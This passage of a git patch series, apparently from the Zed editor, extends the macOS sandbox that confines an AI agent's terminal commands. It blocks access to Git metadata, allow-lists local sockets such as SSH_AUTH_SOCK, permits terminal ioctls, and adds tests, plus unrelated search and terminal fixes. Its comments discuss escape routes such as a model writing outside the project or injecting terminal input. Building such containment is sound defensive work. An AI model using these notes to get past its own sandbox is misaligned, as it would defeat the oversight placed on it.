+    /// connect to for local IPC even when IP network access is otherwise
+    /// disabled. This does not permit sending packets to other machines.
+    pub fn new(
+        writable_directories: &[&Path],
+        protected_paths: &[&Path],
+        allowed_unix_socket_paths: &[&Path],
+        permissions: SandboxPermissions,
+    ) -> Result<Self> {
         let mut file =
             NamedTempFile::new().context("failed to create temporary Seatbelt config file")?;
 
-        let config = generate_seatbelt_config(writable_directories, permissions)?;
+        let config = generate_seatbelt_config(
+            writable_directories,
+            protected_paths,
+            allowed_unix_socket_paths,
+            permissions,
+        )?;
         file.write_all(config.as_bytes())
             .context("failed to write Seatbelt config")?;
         file.flush().context("failed to flush Seatbelt config")?;
@@ -118,6 +138,12 @@ impl SeatbeltConfigFile {
 ///   the project's worktree paths here, not the working directory of the
 ///   command (the working directory is model-controlled, and using it as
 ///   the writable scope would let the model write outside the project).
+/// * `protected_paths` - Paths whose file data reads and writes should be
+///   denied even if they fall under a readable or writable directory. File
+///   metadata remains readable.
+/// * `allowed_unix_socket_paths` - Unix domain sockets the command may
+///   connect to for local IPC even when IP network access is otherwise
+///   disabled. This does not permit sending packets to other machines.
 /// * `permissions` - Sandbox relaxations requested for this command.
 ///
 /// # Returns
@@ -127,9 +153,16 @@ pub fn wrap_invocation(
     program: &str,
     args: &[String],
     writable_directories: &[&Path],
+    protected_paths: &[&Path],
+    allowed_unix_socket_paths: &[&Path],
     permissions: SandboxPermissions,
 ) -> Result<(String, Vec<String>, SeatbeltConfigFile)> {
-    let config_file = SeatbeltConfigFile::new(writable_directories, permissions)?;
+    let config_file = SeatbeltConfigFile::new(
+        writable_directories,
+        protected_paths,
+        allowed_unix_socket_paths,
+        permissions,
+    )?;
 
     let mut wrapped_args = vec![
         "-f".to_string(),
@@ -158,13 +191,23 @@ pub fn wrap_invocation(
 /// Writes to each entry in `writable_directories` (typically the project's
 /// worktree paths plus any per-command scratch directory the caller wants
 /// allowed) and the standard `/dev/*` write targets are also allowed by
-/// default; network access and unrestricted filesystem writes must be
-/// requested via [`SandboxPermissions`].
+/// default. File data reads and writes to paths in `protected_paths` are
+/// denied even when they would otherwise be readable or writable; file
+/// metadata remains readable. Unix domain socket paths in
+/// `allowed_unix_socket_paths` are reachable for local IPC even when IP
+/// network access is otherwise blocked; callers use this for trusted sockets
+/// inherited from the process environment, such as `SSH_AUTH_SOCK`. This does
+/// not permit sending packets to other machines.
+///
+/// Network access and unrestricted filesystem writes must be requested via
+/// [`SandboxPermissions`].
 ///
 /// The returned string is the textual content to write to the
 /// [`SeatbeltConfigFile`] passed to `sandbox-exec -f`.
 fn generate_seatbelt_config(
     writable_directories: &[&Path],
+    protected_paths: &[&Path],
+    allowed_unix_socket_paths: &[&Path],
     permissions: SandboxPermissions,
 ) -> Result<String> {
     // Canonicalize each writable path to resolve symlinks (e.g.,
@@ -174,6 +217,19 @@ fn generate_seatbelt_config(
         .iter()
         .map(|path| path.canonicalize().unwrap_or_else(|_| path.to_path_buf()))
         .collect();
+    // Use `canonicalize_allowing_missing_leaf` rather than a plain
+    // `canonicalize` so a not-yet-created `.git` (before `git init`) still
+    // resolves through its existing parent and matches the canonicalized
+    // writable worktree above; otherwise the deny rule would miss the real path
+    // on a symlinked root (`/tmp` -> `/private/tmp`).
+    let canonical_protected_paths: Vec<PathBuf> = protected_paths
+        .iter()
+        .map(|path| crate::canonicalize_allowing_missing_leaf(path))
+        .collect();
+    // Unlike file paths, Unix socket literals are emitted verbatim: it isn't
+    // guaranteed whether Seatbelt resolves symlinks before matching a
+    // `remote unix-socket` literal, so the caller passes both the path the
+    // child connects to and its canonical form, and we keep them as given.
 
     let mut config = r#"(version 1)
 
@@ -198,6 +254,26 @@ fn generate_seatbelt_config(
 
 ; Allow pseudo-terminal operations
 (allow pseudo-tty)
+(allow file-read* file-write* file-ioctl
+    (literal "/dev/ptmx"))
+(allow file-read* file-write*
+    (require-all
+        (regex #"^/dev/ttys[0-9]+$")
+        (extension "com.apple.sandbox.pty")))
+
+; The command's PTY is allocated after this profile is generated, so its slave
+; TTY path isn't known here and may lack the `com.apple.sandbox.pty` extension.
+; Allow ioctls on slave TTYs so interactive shells and signing prompts can
+; manipulate terminal state. Seatbelt can't filter by ioctl request number, so
+; this can't exclude input-injection ioctls (e.g. TIOCSTI) specifically. The
+; residual risk is bounded by the kernel, not by this profile: XNU's TIOCSTI
+; handler (bsd/kern/tty.c) rejects a non-root caller unless the target TTY is
+; the caller's own controlling terminal (EACCES otherwise). Each agent command
+; runs in its own dedicated PTY, so the only TTY it can inject into is that
+; throwaway PTY, not the user's interactive terminal. The regex is also anchored
+; so it matches only `/dev/ttysNNN` device nodes.
+(allow file-ioctl
+    (regex #"^/dev/ttys[0-9]+$"))
 "#
     .to_string();
 
@@ -235,6 +311,20 @@ fn generate_seatbelt_config(
         );
     }
 
+    for protected_path in &canonical_protected_paths {
+        let escaped_path = escape_sandbox_path(protected_path)?;
+        // `subpath` already matches the path itself plus everything beneath it,
+        // so it covers both a `.git` directory and a linked worktree's `.git`
+        // gitlink file without a redundant `literal` rule.
+        config.push_str(&format!(
+            r#"
+; Block Git metadata content access unless Git access is approved
+(deny file-read-data file-write*
+    (subpath "{escaped_path}"))
+"#
+        ));
+    }
+
     match permissions.network {
         NetworkAccess::None => {}
         NetworkAccess::All => {
@@ -262,6 +352,34 @@ fn generate_seatbelt_config(
         }
     }
 
+    if !allowed_unix_socket_paths.is_empty() {
+        config.push_str(
+            r#"
+; Allow local IPC to inherited Unix domain sockets. Seatbelt models this as
+; network-outbound, but this does not permit IP networking or sending packets
+; to other machines.
+;
+; `system-socket` only governs the `socket()` syscall (creating an AF_UNIX
+; socket), which is harmless on its own. The capability that matters,
+; `connect()`, stays gated by the per-path `network-outbound (remote
+; unix-socket ...)` rules below, so `(deny default)` still blocks connecting to
+; any socket not explicitly allow-listed.
+(allow system-socket
+    (socket-domain AF_UNIX))
+"#,
+        );
+
+        for socket_path in allowed_unix_socket_paths {
+            let escaped_path = escape_sandbox_path(socket_path)?;
+            config.push_str(&format!(
+                r#"(allow network-outbound
+    (remote unix-socket
+        (literal "{escaped_path}")))
+"#
+            ));
+        }
+    }
+
     Ok(config)
 }
 
@@ -289,7 +407,8 @@ mod tests {
     fn test_generate_seatbelt_config_contains_read_and_project_write_permissions_by_default() {
         let dir = PathBuf::from("/Users/test/projects/myproject");
         let config =
-            generate_seatbelt_config(&[dir.as_path()], SandboxPermissions::default()).unwrap();
+            generate_seatbelt_config(&[dir.as_path()], &[], &[], SandboxPermissions::default())
+                .unwrap();
 
         assert!(config.contains("(allow file-read*)"));
         assert!(config.contains("/Users/test/projects/myproject"));
@@ -303,6 +422,8 @@ mod tests {
         let dir = PathBuf::from("/Users/test/projects/myproject");
         let config = generate_seatbelt_config(
             &[dir.as_path()],
+            &[],
+            &[],
             SandboxPermissions {
                 network: NetworkAccess::None,
                 allow_fs_write: true,
@@ -317,11 +438,225 @@ mod tests {
         assert!(!config.contains("(allow network*)"));
     }
 
+    #[test]
+    fn test_generate_seatbelt_config_allows_terminal_ioctls_by_default() {
+        let dir = PathBuf::from("/Users/test/projects/myproject");
+        let config =
+            generate_seatbelt_config(&[dir.as_path()], &[], &[], SandboxPermissions::default())
+                .unwrap();
+
+        assert!(config.contains("(allow file-ioctl"));
+        assert!(config.contains("/dev/ptmx"));
+        assert!(config.contains("^/dev/ttys[0-9]+"));
+    }
+
+    #[test]
+    fn test_generate_seatbelt_config_allows_unix_socket_paths_without_network() {
+        let dir = PathBuf::from("/Users/test/projects/myproject");
+        let ssh_auth_socket = PathBuf::from("/private/tmp/com.apple.launchd.test/Listeners");
+        let config = generate_seatbelt_config(
+            &[dir.as_path()],
+            &[],
+            &[ssh_auth_socket.as_path()],
+            SandboxPermissions::default(),
+        )
+        .unwrap();
+
+        assert!(config.contains("(allow system-socket"));
+        assert!(config.contains("AF_UNIX"));
+        assert!(config.contains("(allow network-outbound"));
+        assert!(config.contains("remote unix-socket"));
+        assert!(config.contains("(literal \"/private/tmp/com.apple.launchd.test/Listeners\")"));
+        assert!(!config.contains("(subpath \"/private/tmp/com.apple.launchd.test/Listeners\")"));
+        assert!(!config.contains("(allow network*)"));
+    }
+
+    #[test]
+    fn test_sandbox_allows_connecting_to_allowed_unix_socket() {
+        use std::io::ErrorKind;
+        use std::os::unix::net::UnixListener;
+        use std::process::{Command, Stdio};
+        use std::time::{Duration, Instant};
+
+        // Bind under `/tmp` rather than the default temp dir: macOS temp paths
+        // (`/var/folders/...`) overflow the `sun_path` limit for Unix sockets.
+        // `TempDir` still cleans up on drop, even if the test panics.
+        let temp_dir = tempfile::Builder::new()
+            .prefix("zed-sock-")
+            .tempdir_in("/tmp")
+            .unwrap();
+        let socket_path = temp_dir.path().join("agent.sock");
+        let listener = UnixListener::bind(&socket_path).expect("test socket should bind");
+        listener
+            .set_nonblocking(true)
+            .expect("listener should switch to non-blocking");
+
+        // Allow both the path the command connects to and its canonical form,
+        // mirroring how the real caller resolves `SSH_AUTH_SOCK`.
+        let canonical_socket_path = socket_path
+            .canonicalize()
+            .expect("bound socket path should canonicalize");
+
+        // Accept (and immediately drop) a single connection, with a bounded wait
+        // so the test can't hang if the sandbox blocks the connection instead.
+        let accepted = std::thread::spawn(move || {
+            let deadline = Instant::now() + Duration::from_secs(10);
+            loop {
+                match listener.accept() {
+                    Ok(_) => return true,
+                    Err(error) if error.kind() == ErrorKind::WouldBlock => {
+                        if Instant::now() >= deadline {
+                            return false;
+                        }
+                        std::thread::sleep(Duration::from_millis(20));
+                    }
+                    Err(_) => return false,
+                }
+            }
+        });
+
+        let (program, args, _config_file) = wrap_invocation(
+            "/usr/bin/nc",
+            &[
+                "-U".to_string(),
+                "-w".to_string(),
+                "5".to_string(),
+                socket_path.display().to_string(),
+            ],
+            &[temp_dir.path()],
+            &[],
+            &[socket_path.as_path(), canonical_socket_path.as_path()],
+            SandboxPermissions::default(),
+        )
+        .unwrap();
+
+        let output = Command::new(&program)
+            .args(&args)
+            .stdin(Stdio::null())
+            .output()
+            .expect("failed to execute sandbox-exec");
+
+        assert!(
+            accepted.join().unwrap(),
+            "sandbox should allow connecting to the allow-listed unix socket: stderr={} stdout={}",
+            String::from_utf8_lossy(&output.stderr),
+            String::from_utf8_lossy(&output.stdout),
+        );
+    }
+
+    #[test]
+    fn test_generate_seatbelt_config_denies_protected_path_data_and_writes() {
+        let dir = PathBuf::from("/Users/test/projects/myproject");
+        let protected = dir.join(".gitignore");
+        let config = generate_seatbelt_config(
+            &[dir.as_path()],
+            &[protected.as_path()],
+            &[],
+            SandboxPermissions::default(),
+        )
+        .unwrap();
+
+        assert!(config.contains("(deny file-read-data file-write*"));
+        assert!(config.contains("(subpath \"/Users/test/projects/myproject/.gitignore\")"));
+        // `subpath` already covers the path itself, so no redundant `literal`.
+        assert!(!config.contains("(literal \"/Users/test/projects/myproject/.gitignore\")"));
+    }
+
+    #[test]
+    fn test_sandbox_blocks_protected_path_contents_but_allows_metadata() {
+        use std::process::Command;
+
+        let temp_dir = tempfile::tempdir().unwrap();
+        let protected_file = temp_dir.path().join(".gitignore");
+        std::fs::write(&protected_file, "target\n").unwrap();
+
+        let (program, args, _config_file) = wrap_invocation(
+            "/bin/sh",
+            &[
+                "-c".to_string(),
+                format!(
+                    "test -e '{}' && ! cat '{}' >/dev/null 2>&1 && ! sh -c 'echo changed > {}'",
+                    protected_file.display(),
+                    protected_file.display(),
+                    protected_file.display(),
+                ),
+            ],
+            &[temp_dir.path()],
+            &[protected_file.as_path()],
+            &[],
+            SandboxPermissions::default(),
+        )
+        .unwrap();
+
+        let output = Command::new(&program)
+            .args(&args)
+            .output()
+            .expect("failed to execute sandbox-exec");
+
+        assert!(
+            output.status.success(),
+            "sandbox should allow metadata but deny protected data reads and writes: stderr={} stdout={}",
+            String::from_utf8_lossy(&output.stderr),
+            String::from_utf8_lossy(&output.stdout),
+        );
+        assert_eq!(
+            std::fs::read_to_string(&protected_file).unwrap(),
+            "target\n"
+        );
+    }
+
+    #[test]
+    fn test_sandbox_blocks_protected_paths_even_when_fs_writes_allowed() {
+        use std::process::Command;
+
+        let temp_dir = tempfile::tempdir().unwrap();
+        let protected_file = temp_dir.path().join(".gitignore");
+        std::fs::write(&protected_file, "target\n").unwrap();
+
+        let (program, args, _config_file) = wrap_invocation(
+            "/bin/sh",
+            &[
+                "-c".to_string(),
+                format!(
+                    "! cat '{}' >/dev/null 2>&1 && ! sh -c 'echo changed > {}'",
+                    protected_file.display(),
+                    protected_file.display(),
+                ),
+            ],
+            &[temp_dir.path()],
+            &[protected_file.as_path()],
+            &[],
+            SandboxPermissions {
+                network: NetworkAccess::None,
+                allow_fs_write: true,
+            },
+        )
+        .unwrap();
+
+        let output = Command::new(&program)
+            .args(&args)
+            .output()
+            .expect("failed to execute sandbox-exec");
+
+        assert!(
+            output.status.success(),
+            "protected paths should stay blocked even with unrestricted writes: stderr={} stdout={}",
+            String::from_utf8_lossy(&output.stderr),
+            String::from_utf8_lossy(&output.stdout),
+        );
+        assert_eq!(
+            std::fs::read_to_string(&protected_file).unwrap(),
+            "target\n"
+        );
+    }
+
     #[test]
     fn test_generate_seatbelt_config_contains_network_when_allowed() {
         let dir = PathBuf::from("/Users/test/projects/myproject");
         let config = generate_seatbelt_config(
             &[dir.as_path()],
+            &[],
+            &[],
             SandboxPermissions {
                 network: NetworkAccess::All,
                 allow_fs_write: false,
@@ -340,6 +675,8 @@ mod tests {
         let dir = PathBuf::from("/Users/test/projects/myproject");
         let config = generate_seatbelt_config(
             &[dir.as_path()],
+            &[],
+            &[],
             SandboxPermissions {
                 network: NetworkAccess::LocalhostPort(54321),
                 allow_fs_write: false,
@@ -359,6 +696,8 @@ mod tests {
         let scratch_dir = PathBuf::from("/private/tmp/zed-agent-command");
         let config = generate_seatbelt_config(
             &[project_dir.as_path(), scratch_dir.as_path()],
+            &[],
+            &[],
             SandboxPermissions::default(),
         )
         .unwrap();
@@ -394,6 +733,8 @@ mod tests {
             "/bin/sh",
             &["-c".to_string(), "echo hello".to_string()],
             &[temp_dir.path()],
+            &[],
+            &[],
             SandboxPermissions::default(),
         )
         .unwrap();
@@ -415,6 +756,8 @@ mod tests {
             "/bin/sh",
             &["-c".to_string(), "cat /etc/hosts".to_string()],
             &[temp_dir.path()],
+            &[],
+            &[],
             SandboxPermissions::default(),
         )
         .unwrap();
@@ -440,6 +783,8 @@ mod tests {
             "/bin/sh",
             &["-c".to_string(), "echo test 2>/dev/null".to_string()],
             &[temp_dir.path()],
+            &[],
+            &[],
             SandboxPermissions::default(),
         )
         .unwrap();
@@ -465,6 +810,8 @@ mod tests {
             "/bin/sh",
             &["-c".to_string(), "echo test 2>/dev/null".to_string()],
             &[temp_dir.path()],
+            &[],
+            &[],
             SandboxPermissions {
                 network: NetworkAccess::None,
                 allow_fs_write: true,
@@ -498,6 +845,8 @@ mod tests {
                 format!("echo 'hello' > '{}'", test_file.display()),
             ],
             &[temp_dir.path()],
+            &[],
+            &[],
             SandboxPermissions {
                 network: NetworkAccess::None,
                 allow_fs_write: true,
@@ -533,6 +882,8 @@ mod tests {
                 format!("echo 'hello' > '{}'", test_file.display()),
             ],
             &[project_dir.path(), scratch_dir.path()],
+            &[],
+            &[],
             SandboxPermissions::default(),
         )
         .unwrap();
@@ -564,6 +915,8 @@ mod tests {
                 format!("echo 'hello' > '{}'", test_file.display()),
             ],
             &[temp_dir.path()],
+            &[],
+            &[],
             SandboxPermissions::default(),
         )
         .unwrap();
@@ -596,6 +949,8 @@ mod tests {
                 format!("echo 'hello' > '{}'", test_file.display()),
             ],
             &[project_dir.path()],
+            &[],
+            &[],
             SandboxPermissions {
                 network: NetworkAccess::None,
                 allow_fs_write: true,
@@ -634,6 +989,8 @@ mod tests {
                 format!("echo 'hello' > '{}'", forbidden_file.display()),
             ],
             &[project_dir.path()],
+            &[],
+            &[],
             SandboxPermissions::default(),
         )
         .unwrap();
diff --git a/crates/sandbox/src/sandbox.rs b/crates/sandbox/src/sandbox.rs
index f5923cfd34a98c..2060d5d1898f41 100644
--- a/crates/sandbox/src/sandbox.rs
+++ b/crates/sandbox/src/sandbox.rs
@@ -70,3 +70,59 @@ pub fn run_sandbox_launcher_if_invoked() {
     #[cfg(target_os = "linux")]
     linux_bubblewrap::run_launcher_if_invoked();
 }
+
+/// Canonicalize `path`, resolving symlinks, even when its final component
+/// doesn't exist yet.
+///
+/// `std::fs::canonicalize` fails if any component is missing, which would leave
+/// a not-yet-created path (e.g. a `.git` directory before `git init`) in a
+/// non-canonical form. The sandbox layers canonicalize the writable parent
+/// (the worktree root) but, with a plain `canonicalize`, fall back to the raw
+/// path for a missing child; the two then disagree when a component is a
+/// symlink (`/tmp` -> `/private/tmp` on macOS), and the protection rule for the
+/// child misses the real path the command ends up writing. Canonicalizing the
+/// existing parent and re-appending the final component keeps the child
+/// consistent with its parent. If neither the path nor its parent can be
+/// canonicalized, the path is returned unchanged.
+#[cfg(any(target_os = "linux", target_os = "macos"))]
+pub(crate) fn canonicalize_allowing_missing_leaf(path: &std::path::Path) -> std::path::PathBuf {
+    if let Ok(canonical) = path.canonicalize() {
+        return canonical;
+    }
+    if let (Some(parent), Some(file_name)) = (path.parent(), path.file_name())
+        && let Ok(canonical_parent) = parent.canonicalize()
+    {
+        return canonical_parent.join(file_name);
+    }
+    path.to_path_buf()
+}
+
+#[cfg(all(test, any(target_os = "linux", target_os = "macos")))]
+mod tests {
+    use super::canonicalize_allowing_missing_leaf;
+
+    #[test]
+    fn canonicalize_allowing_missing_leaf_resolves_existing_parent() {
+        let dir = tempfile::tempdir().unwrap();
+        let canonical_dir = dir.path().canonicalize().unwrap();
+
+        // A fully existing path is canonicalized outright.
+        assert_eq!(
+            canonicalize_allowing_missing_leaf(dir.path()),
+            canonical_dir
+        );
+
+        // A path whose leaf doesn't exist yet still resolves through its parent,
+        // so it stays consistent with how the parent directory canonicalizes
+        // (this is the `.git`-before-`git init` case).
+        let missing = dir.path().join("not-created-yet");
+        assert_eq!(
+            canonicalize_allowing_missing_leaf(&missing),
+            canonical_dir.join("not-created-yet"),
+        );
+
+        // A path whose parent also doesn't exist is returned unchanged.
+        let deeper = missing.join(".git");
+        assert_eq!(canonicalize_allowing_missing_leaf(&deeper), deeper);
+    }
+}
diff --git a/crates/settings_content/src/agent.rs b/crates/settings_content/src/agent.rs
index 1ad5d7a7660fea..e0ac05fcd6da8c 100644
--- a/crates/settings_content/src/agent.rs
+++ b/crates/settings_content/src/agent.rs
@@ -481,6 +481,12 @@ impl AgentSettingsContent {
             .allow_fs_write_all = Some(true);
     }
 
+    pub fn allow_sandbox_git_access(&mut self) {
+        self.sandbox_permissions
+            .get_or_insert_default()
+            .allow_git_access = Some(true);
+    }
+
     pub fn allow_sandbox_unsandboxed(&mut self) {
         self.sandbox_permissions
             .get_or_insert_default()
@@ -739,6 +745,11 @@ pub struct SandboxPermissionsContent {
     /// Default: []
     pub network_hosts: Option<ExtendingVec<String>>,
 
+    /// Whether sandboxed terminal commands may always access protected Git
+    /// metadata paths without prompting.
+    /// Default: false
+    pub allow_git_access: Option<bool>,
+
     /// Whether sandboxed terminal commands may always write anywhere on the
     /// filesystem without prompting.
     /// Default: false
@@ -1039,6 +1050,7 @@ mod tests {
             &["github.com".to_string(), "*.npmjs.org".to_string()]
         );
         settings.allow_sandbox_fs_write_all();
+        settings.allow_sandbox_git_access();
         settings.allow_sandbox_unsandboxed();
         settings.add_sandbox_write_path(PathBuf::from("/tmp/build"));
 
@@ -1053,6 +1065,7 @@ mod tests {
                 .as_slice(),
             &["github.com".to_string(), "*.npmjs.org".to_string()]
         );
+        assert_eq!(sandbox_permissions.allow_git_access, Some(true));
         assert_eq!(sandbox_permissions.allow_fs_write_all, Some(true));
         assert_eq!(sandbox_permissions.allow_unsandboxed, Some(true));
         assert_eq!(
diff --git a/crates/settings_ui/src/pages/sandbox_settings.rs b/crates/settings_ui/src/pages/sandbox_settings.rs
index eb86182ef365e3..d5ee3c549032bb 100644
--- a/crates/settings_ui/src/pages/sandbox_settings.rs
+++ b/crates/settings_ui/src/pages/sandbox_settings.rs
@@ -128,6 +128,27 @@ pub(crate) fn render_sandbox_settings_page(
                 )),
         )
         .child(Divider::horizontal())
+        .child(
+            v_flex()
+                .gap_3()
+                .child(SettingsSectionHeader::new("Git").no_padding(true))
+                .child(
+                    SwitchField::new(
+                        "sandbox-allow-git-access",
+                        Some("Allow Git Metadata Access"),
+                        Some(
+                            "Let sandboxed commands access protected Git metadata, including .git directories and linked worktree metadata, without prompting."
+                                .into(),
+                        ),
+                        permissions.allow_git_access,
+                        move |state, _window, cx| {
+                            set_allow_git_access(*state == ToggleState::Selected, cx);
+                        },
+                    )
+                    .tab_index(0),
+                ),
+        )
+        .child(Divider::horizontal())
         .child(
             v_flex()
                 .gap_3()
@@ -422,6 +443,12 @@ fn set_allow_all_hosts(value: bool, cx: &mut App) {
     });
 }
 
+fn set_allow_git_access(value: bool, cx: &mut App) {
+    update_sandbox_permissions(cx, move |permissions| {
+        permissions.allow_git_access = Some(value);
+    });
+}
+
 fn set_allow_fs_write_all(value: bool, cx: &mut App) {
     update_sandbox_permissions(cx, move |permissions| {
         permissions.allow_fs_write_all = Some(value);

From 42a2eff274a269bb5f36078d31762ef4d87b0422 Mon Sep 17 00:00:00 2001
From: ozacod <47009516+ozacod@users.noreply.github.com>
Date: Tue, 23 Jun 2026 18:31:18 +0300
Subject: [PATCH 063/772] text_finder: Send selected word to text finder query
 (#59766)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

## Objective

Make text finder match project search and buffer search by
pre-populating its query from the active editor according to
`seed_search_query_from_cursor`.

## Solution

- Seed text finder from the active editor's query suggestion when
opening it.
- Pass the seeded query into the picker and select the query text so
typing replaces it immediately.

## Testing

- Manually tested visually by opening text finder from an editor with a
selection and with the cursor on text, confirming the query is
pre-populated and selected.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:
- Improved text finder to seed its query from the active editor.

Co-authored-by: ozacod <ozacod@users.noreply.github.com>
Co-authored-by: Yara 🏳️‍⚧️ <git@yara.blue>
---
 crates/editor/src/editor.rs      |  6 +++++
 crates/picker/src/picker.rs      |  8 ++++++
 crates/search/src/text_finder.rs | 46 ++++++++++++++++++++++++++------
 crates/ui_input/src/ui_input.rs  |  1 +
 4 files changed, 53 insertions(+), 8 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 340f14d1923ea7..1be65d476b8f65 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -11895,6 +11895,12 @@ impl ui_input::ErasedEditor for ErasedEditorImpl {
         });
     }
 
+    fn select_all(&self, window: &mut Window, cx: &mut App) {
+        self.0.update(cx, |editor, cx| {
+            editor.select_all(&Default::default(), window, cx);
+        });
+    }
+
     fn subscribe(
         &self,
         mut callback: Box<dyn FnMut(ui_input::ErasedEditorEvent, &mut Window, &mut App) + 'static>,
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index c4579781ade01e..c655cb0a463661 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -1096,6 +1096,14 @@ impl<D: PickerDelegate> Picker<D> {
         }
     }
 
+    /// Selects the entire query, so the next keystroke replaces it (and a single
+    /// backspace clears it). Matches the buffer search bar's seeded-query behavior.
+    pub fn select_query(&self, window: &mut Window, cx: &mut App) {
+        if let Head::Editor(editor) = &self.head {
+            editor.select_all(window, cx);
+        }
+    }
+
     fn scroll_to_item_index(&mut self, ix: usize) {
         match &mut self.element_container {
             ElementContainer::List(state) => state.scroll_to_reveal_item(ix),
diff --git a/crates/search/src/text_finder.rs b/crates/search/src/text_finder.rs
index 4852e2e2386806..2215f5a6613051 100644
--- a/crates/search/src/text_finder.rs
+++ b/crates/search/src/text_finder.rs
@@ -1,5 +1,6 @@
 use std::{ops::Range, sync::atomic::Ordering};
 
+use editor::Editor;
 use gpui::{
     App, AppContext, Context, DismissEvent, Entity, EventEmitter, FocusHandle, Focusable,
     Modifiers, Subscription, Task, WeakEntity, actions,
@@ -10,7 +11,7 @@ use picker::Picker;
 use project::ProjectPath;
 use text::Anchor;
 use ui::Window;
-use workspace::{DismissDecision, ModalView, Workspace};
+use workspace::{DismissDecision, ModalView, Workspace, searchable::SearchableItemHandle};
 
 mod delegate;
 mod render;
@@ -40,7 +41,8 @@ impl TextFinder {
         pub use zed_actions::text_finder::Toggle;
         workspace.register_action(|workspace, _: &Toggle, window, cx| {
             let Some(text_picker) = workspace.active_modal::<Self>(cx) else {
-                Self::open(window, cx).detach();
+                let seed_query = Self::seed_query(workspace, window, cx);
+                Self::open(seed_query, window, cx).detach();
                 return;
             };
 
@@ -66,8 +68,9 @@ impl TextFinder {
             workspace
                 .update_in(cx, |workspace, window, cx| {
                     remove_project_search_tab(project_search_item_id, workspace, window, cx);
-                    workspace
-                        .toggle_modal(window, cx, |window, cx| Self::new(delegate, window, cx));
+                    workspace.toggle_modal(window, cx, |window, cx| {
+                        Self::new(delegate, None, window, cx)
+                    });
                 })
                 .ok();
         })
@@ -203,7 +206,24 @@ impl TextFinder {
             .update(cx, |p, _| p.delegate.in_progress_search.take_connected())
     }
 
-    pub fn open(window: &mut Window, cx: &mut Context<Workspace>) -> Task<()> {
+    /// The word under the cursor (or current selection) of the active editor,
+    /// used to pre-populate the text finder query. Honors the
+    /// `seed_search_query_from_cursor` setting, matching project search.
+    fn seed_query(
+        workspace: &Workspace,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) -> Option<String> {
+        let editor = workspace.active_item(cx)?.act_as::<Editor>(cx)?;
+        let query = editor.query_suggestion(None, window, cx);
+        (!query.is_empty()).then_some(query)
+    }
+
+    pub fn open(
+        seed_query: Option<String>,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) -> Task<()> {
         cx.spawn_in(window, async move |workspace, cx| {
             let Ok(delegate_task) = workspace.update_in(cx, |workspace, window, cx| {
                 Delegate::new(workspace, window, cx)
@@ -214,14 +234,20 @@ impl TextFinder {
             let delegate = delegate_task.await;
             workspace
                 .update_in(cx, |workspace, window, cx| {
-                    workspace
-                        .toggle_modal(window, cx, |window, cx| Self::new(delegate, window, cx));
+                    workspace.toggle_modal(window, cx, |window, cx| {
+                        Self::new(delegate, seed_query, window, cx)
+                    });
                 })
                 .ok();
         })
     }
 
-    fn new(delegate: Delegate, window: &mut Window, cx: &mut Context<Self>) -> Self {
+    fn new(
+        delegate: Delegate,
+        seed_query: Option<String>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> Self {
         let project = delegate.project(cx).clone();
         let picker = cx.new(|cx| Picker::list_with_preview(delegate, project, window, cx));
         let picker_weak = picker.downgrade();
@@ -229,6 +255,10 @@ impl TextFinder {
         picker.update(cx, |picker, cx| {
             picker.delegate.focus_handle = picker_focus_handle.clone();
             picker.delegate.hook_up_any_ongoing_search(picker_weak, cx);
+            if let Some(seed_query) = seed_query.as_deref() {
+                picker.set_query(seed_query, window, cx);
+                picker.select_query(window, cx);
+            }
         });
         let subscription = cx.subscribe(&picker, |_, _, _: &DismissEvent, cx| {
             cx.emit(DismissEvent);
diff --git a/crates/ui_input/src/ui_input.rs b/crates/ui_input/src/ui_input.rs
index d913a2e708f989..4dff16488a7f17 100644
--- a/crates/ui_input/src/ui_input.rs
+++ b/crates/ui_input/src/ui_input.rs
@@ -19,6 +19,7 @@ pub trait ErasedEditor: 'static {
     fn clear(&self, window: &mut Window, cx: &mut App);
     fn set_placeholder_text(&self, text: &str, window: &mut Window, _: &mut App);
     fn move_selection_to_end(&self, window: &mut Window, _: &mut App);
+    fn select_all(&self, window: &mut Window, cx: &mut App);
     fn set_masked(&self, masked: bool, window: &mut Window, cx: &mut App);
     fn set_read_only(&self, read_only: bool, cx: &mut App);
     fn set_multiline(&self, max_lines: Option<usize>, window: &mut Window, cx: &mut App);

From a2fee92e30ebd71ed7ac4da8b7b354e252813193 Mon Sep 17 00:00:00 2001
From: MartinYe1234 <52641447+MartinYe1234@users.noreply.github.com>
Date: Tue, 23 Jun 2026 11:44:42 -0700
Subject: [PATCH 064/772] agent: Fix terminal_init commands race condition with
 PTY startup (#59613)

Summary:
- Add a shell-level startup handshake owned by the terminal.
- Send a split startup marker through the shell and run the configured
init command after the marker is observed, preventing local echo from
satisfying the handshake.
- Keep display-only/restored terminal behavior unchanged while
preserving startup output when shells fail or users type first.

Tests:
- `cargo test -p terminal test_init_command_startup_marker --
--nocapture`
- `cargo test -p terminal write_init_command_after_startup --
--nocapture`
- `cargo test -p agent_ui init_command -- --nocapture`
- `./script/clippy -p terminal -p agent_ui`

Closes AI-426

Release Notes:

- Fixed terminal init commands sometimes appearing or running
incorrectly when using custom shells

---------

Co-authored-by: Anant Goel <anant@zed.dev>
---
 crates/agent_ui/src/agent_panel.rs |  86 ++++++--
 crates/terminal/src/terminal.rs    | 311 ++++++++++++++++++++++++++++-
 2 files changed, 379 insertions(+), 18 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 6920e9b75ab855..ffdcfc890b7b7f 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -75,6 +75,7 @@ use feature_flags::{
 };
 
 use fs::Fs;
+use futures::FutureExt as _;
 use gpui::{
     Action, Anchor, Animation, AnimationExt, AnyElement, App, AsyncWindowContext, ClipboardItem,
     Entity, EventEmitter, ExternalPaths, FocusHandle, Focusable, KeyContext, Pixels,
